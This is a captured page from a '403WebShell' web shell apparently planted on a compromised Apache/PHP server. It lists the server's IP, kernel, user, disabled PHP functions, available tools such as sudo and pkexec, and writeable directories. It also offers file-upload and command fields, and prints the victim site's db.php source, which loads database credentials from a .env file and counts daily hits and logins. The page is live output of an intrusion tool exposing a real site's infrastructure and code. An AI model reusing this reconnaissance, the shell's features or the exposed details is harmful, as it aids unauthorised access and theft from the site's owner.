Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/itms.arukustech.com/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/itms.arukustech.com/app//db.php
<?php
date_default_timezone_set('Asia/Kolkata'); 
$today = date('Y-m-d');
function envv($k, $def = '') {
    static $env = null;
    if ($env === null) {
        $env = @parse_ini_file(__DIR__ . '/../.env', false, INI_SCANNER_RAW) ?: [];
    }
    return $env[$k] ?? $def;
}

function db() {
    static $pdo = null;

    if (session_status() === PHP_SESSION_NONE) { 
        @session_start(); 
    }

    if ($pdo) return $pdo;

    $dsn = 'mysql:host=' . envv('DB_HOST') .
           ';dbname=' . envv('DB_NAME') .
           ';charset=' . envv('DB_CHARSET', 'utf8mb4');

    try {
        $pdo = new PDO($dsn, envv('DB_USER'), envv('DB_PASS'), [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
        ]);
        
$today = date('Y-m-d');

        // --- TRACKING LOGIC ---
        // 1. TRACK URL VISITS (PRE-LOGIN)
        // We add the date to the session key (e.g., hit_2026-02-03)
        $hit_key = 'hit_' . $today; 

        if (empty($_SESSION[$hit_key])) {
            $stmt = $pdo->prepare("SELECT slug FROM app_analytics WHERE slug = 'total_url_hits' AND analytics_date = ?");
            $stmt->execute([$today]);
            
            if ($stmt->fetch()) {
                // If row exists, just increment
                $pdo->prepare("UPDATE app_analytics SET hits = hits + 1 WHERE slug = 'total_url_hits' AND analytics_date = ?")
                    ->execute([$today]);
            } else {
                // This will now trigger for the first visitor of every new day
                $pdo->prepare("INSERT INTO app_analytics (slug, analytics_date, hits, successful_logins) VALUES ('total_url_hits', ?, 1, 0)")
                    ->execute([$today]);
            }
            $_SESSION[$hit_key] = true;
        }

        // 2. TRACK SUCCESSFUL LOGINS
        $login_key = 'login_' . $today;
        if (!empty($_SESSION['user_id']) && empty($_SESSION[$login_key])) {
            $pdo->prepare("UPDATE app_analytics SET successful_logins = successful_logins + 1 WHERE slug = 'total_url_hits' AND analytics_date = ?")
                ->execute([$today]);
            $_SESSION[$login_key] = true;
        }

    } catch (PDOException $e) {
        // We use error_log so a DB issue doesn't show a white screen to users
        error_log("DB Error: " . $e->getMessage());
    }

    return $pdo;
}

Youez - 2016 - github.com/yon3zu
LinuXploit